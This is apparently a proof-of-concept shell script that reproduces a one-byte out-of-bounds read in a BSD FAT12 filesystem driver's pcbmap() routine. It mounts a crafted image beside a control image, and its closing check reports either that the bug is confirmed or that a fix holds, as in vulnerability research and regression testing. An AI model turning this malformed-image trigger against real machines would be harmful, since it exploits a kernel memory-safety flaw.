DF-0827 / run.sh
#!/bin/sh # DF-0827 PoC: demonstrate the FAT12 1-byte OOB read in pcbmap(). # # Strategy: build two images that are identical except for the LAST FAT # entry of the file chain, then mount each and cat the file: # # eof.img : FAT[681] = 0xff8 (EOF). pcbmap(findcn=681) -> E2BIG. # cat returns 340992 bytes (680 clusters). CONTROL. # oob.img : FAT[681] = 682 (chain walks to 682). pcbmap(findcn=681) # dereferences FAT[682] at byte offset 1023 inside a 1024-byte # bp->b_data buffer -> reads byte 1024 OUT OF BOUNDS. # cat returns whatever the OOB byte dictates. # # Precondition (realistic): admin mounts an attacker-supplied FAT image # (USB stick, downloaded image, etc.). Mount is done as root; the file # read itself is the unprivileged trigger. set -u ID=DF-0827 DIR="$(dirname "$0")" cd "$DIR" MNT="/mnt/df0827" VND=vn0 cleanup() { umount "$MNT" 2>/dev/null || true vnconfig -u $VND 2>/dev/null || true } trap cleanup EXIT echo "=== $ID: build image crafter ===" cc -o craftfat craftfat.c || { echo "BUILD FAILED"; exit 1; } echo echo "============================================================" echo "$ID: CONTROL image (FAT[681]=0xff8, chain ends cleanly)" echo "============================================================" ./craftfat eof ls -l fat12_eof.img cleanup vnconfig -c -s labels $VND fat12_eof.img mkdir -p "$MNT" mount_msdos -m 0755 /dev/${VND}s0 "$MNT" 2>/dev/null || mount_msdos -m 0755 /dev/${VND} "$MNT" echo "ls -l MNT:"; ls -l "$MNT" cat "$MNT/TRIGGER.TXT" > /tmp/df0827_eof.bin 2>&1 || echo " cat returned $?" EOF_BYTES=$(wc -c < /tmp/df0827_eof.bin) echo " bytes read by cat: $EOF_BYTES (expect 340992 = 680 clusters)" echo " last 32 bytes of control output:" tail -c 32 /tmp/df0827_eof.bin | hexdump -C cleanup echo echo "============================================================" echo "$ID: BUG image (FAT[681]=682, chain walks OOB to FAT[682])" echo "============================================================" ./craftfat bug ls -l fat12_oob.img vnconfig -c -s labels $VND fat12_oob.img mkdir -p "$MNT" mount_msdos -m 0755 /dev/${VND}s0 "$MNT" 2>/dev/null || mount_msdos -m 0755 /dev/${VND} "$MNT" echo "ls -l MNT:"; ls -l "$MNT" cat "$MNT/TRIGGER.TXT" > /tmp/df0827_oob.bin 2>&1 || echo " cat returned $?" OOB_BYTES=$(wc -c < /tmp/df0827_oob.bin) echo " bytes read by cat: $OOB_BYTES (file claims 349184 = 682 clusters)" echo " last 32 bytes of bug output:" tail -c 32 /tmp/df0827_oob.bin | hexdump -C echo echo " cluster 170 first byte (in case cn=0xAA=170 maps there):" dd if=fat12_oob.img bs=512 skip=172 count=1 2>/dev/null | head -c 4 | hexdump -C echo " cluster 682 (last sector) first bytes (in case cn=682 maps there):" dd if=fat12_oob.img bs=512 skip=684 count=1 2>/dev/null | head -c 4 | hexdump -C echo echo "=== $ID: dmesg tail (look for FAT warnings) ===" dmesg | tail -10 echo echo "============================================================" echo "$ID: VERDICT" echo "============================================================" echo "Control (eof.img): cat read $EOF_BYTES bytes." echo "Bug (oob.img): cat read $OOB_BYTES bytes." if [ "$OOB_BYTES" -gt "$EOF_BYTES" ]; then echo "=> BUG CONFIRMED (baseline): with FAT[681]=682, pcbmap returned success" echo " for findcn=681 -- only possible by reading FAT[682] OOB. The extra" echo " cluster returned is whatever the OOB byte produced." elif [ "$OOB_BYTES" -eq "$EOF_BYTES" ]; then echo "=> FIX CONFIRMED: bug image behaves identically to control image" echo " (both hit E2BIG at cluster 681). The cn > pm_maxcluster check" echo " catches cn=682 at pcbmap line 187 and goto hiteof before the" echo " OOB FAT[682] dereference at line 211." else echo "=> unexpected: bug read fewer bytes than control." fi |